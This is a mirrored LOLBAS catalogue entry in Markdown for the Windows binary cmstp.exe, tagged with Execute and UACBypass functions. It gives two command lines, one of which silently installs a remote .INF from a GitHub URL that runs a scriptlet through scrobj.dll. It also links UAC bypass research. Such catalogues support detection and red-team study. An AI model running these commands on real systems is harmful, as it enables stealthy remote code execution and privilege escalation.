mirror of
https://github.com/LOLBAS-Project/LOLBAS
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26 lines
1.2 KiB
Markdown
26 lines
1.2 KiB
Markdown
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## Cmstp.exe
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* Functions: Execute, UACBypass
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```
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cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
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Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
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cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
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Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
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```
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* Resources:
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* https://twitter.com/NickTyrer/status/958450014111633408
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* https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
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* https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
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* https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
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* https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1 (UAC Bypass)
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* https://github.com/hfiref0x/UACME
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* Full path:
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* C:\Windows\system32\cmstp.exe
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* C:\Windows\sysWOW64\cmstp.exe
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* Notes: Thanks to Oddvar Moe - @oddvarmoe, Nick Tyrer - @NickTyrer
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